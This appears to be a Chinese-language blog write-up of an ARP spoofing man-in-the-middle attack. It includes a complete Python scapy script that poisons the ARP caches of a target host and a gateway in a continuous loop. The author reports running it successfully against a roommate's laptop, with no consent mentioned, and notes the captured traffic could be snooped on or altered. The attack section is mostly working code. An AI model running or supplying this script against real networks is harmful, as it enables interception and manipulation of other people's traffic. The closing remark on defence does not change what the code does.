目标 使用scapy库,编写python程序,实现简单的ARP 欺骗。
设备 攻击机A:我的kali虚拟机,ip为192.168.0.101,MAC地址为00:0c:29:c2:5b:4b 靶机B:舍友的笔记本电脑,ip为192.168.0.105,MAC地址为a0:c5:89:84:00:df 网关G:我的路由器,ip为192.168.0.1,MAC地址为b4:0f:3b:77:6d:90
思路 A向B发送ARP欺骗报文,跟B说:“我是网关G,我的MAC是00:0c:29:c2:5b:4b”。
A向G发送ARP欺骗报文,跟G说:“我是主机B,我的MAC是00:0c:29:c2:5b:4b”。
注意,欺骗报文中的MAC地址写的是攻击机A的MAC地址,这会导致B与G缓存的ARP表出现错误,对方ip对应的的MAC地址都将变成A的MAC地址,这将导致B与G的数据包都会先发到攻击机A。
达到了ARP欺骗的目的。
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 //myarp from scapy.all import *def getmac (target_ip ): arp_p=Ether(dst="ff:ff:ff:ff:ff:ff" )/ARP(op=1 ,pdst=target_ip) ans=srp(arp_p,timeout=2 ,verbose=False ) return ans[0 ].res[0 ][1 ][1 ].fields['hwsrc' ] def spoofarpcache (target_ip,target_mac,source_ip ): spoofed=ARP(op=2 ,pdst=target_ip,psrc=source_ip,hwdst=target_mac) send(spoofed,verbose=False ) def restorearp (target_ip,target_mac,source_ip,source_mac ): packet=ARP(op=2 ,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip) send(packet,verbose=False ) print ("ARP Table restored to normal for" ,target_ip) def main (): target_ip=input ("Enter Target IP:" ) gateway_ip=input ("Enter Gateway IP:" ) try : target_mac=getmac(target_ip) print ("Target MAC:" ,target_mac) except : print ("Target machine did not respond ARP broadcast." ) quit() try : gateway_mac=getmac(gateway_ip) print ("Gateway MAC:" ,gateway_mac) except : print ("Gateway is unreachable." ) quit() try : print ("Sending spoofed ARP responses." ) while True : spoofarpcache(target_ip,target_mac,gateway_ip) spoofarpcache(gateway_ip,gateway_mac,target_ip) except : pirnt("ARP spoofing stopped." ) restorearp(gateway_ip,gateway_mac,target_ip,target_mac) restorearp(target_ip,target_mac,gateway_ip,gateway_mac) quit() if __name__=="__main__" : main()
攻击 在攻击机A上运行代码:
显示“Sending spoofed ARP responses”。
此时在靶机B上查看ARP缓存。
可以看到,在B的ARP缓存中,攻击机A192.168.0.101和网关192.168.0.1的MAC地址都为00:0c:29:c2:5b:4b,即A的MAC地址,证明成功实现了ARP欺骗。
于是,舍友电脑与路由器之间的交互,会被送到我的虚拟机这里来。如果对此进一步利用,不仅可以实现窥探,也可以对信息进行篡改。
当然这种太过简单的欺骗在现在的技术面前几乎没有实际意义,但也足以看出网络安全是十分重要的。对于各种网络协议存在的风险,一定要及时的防范与规避。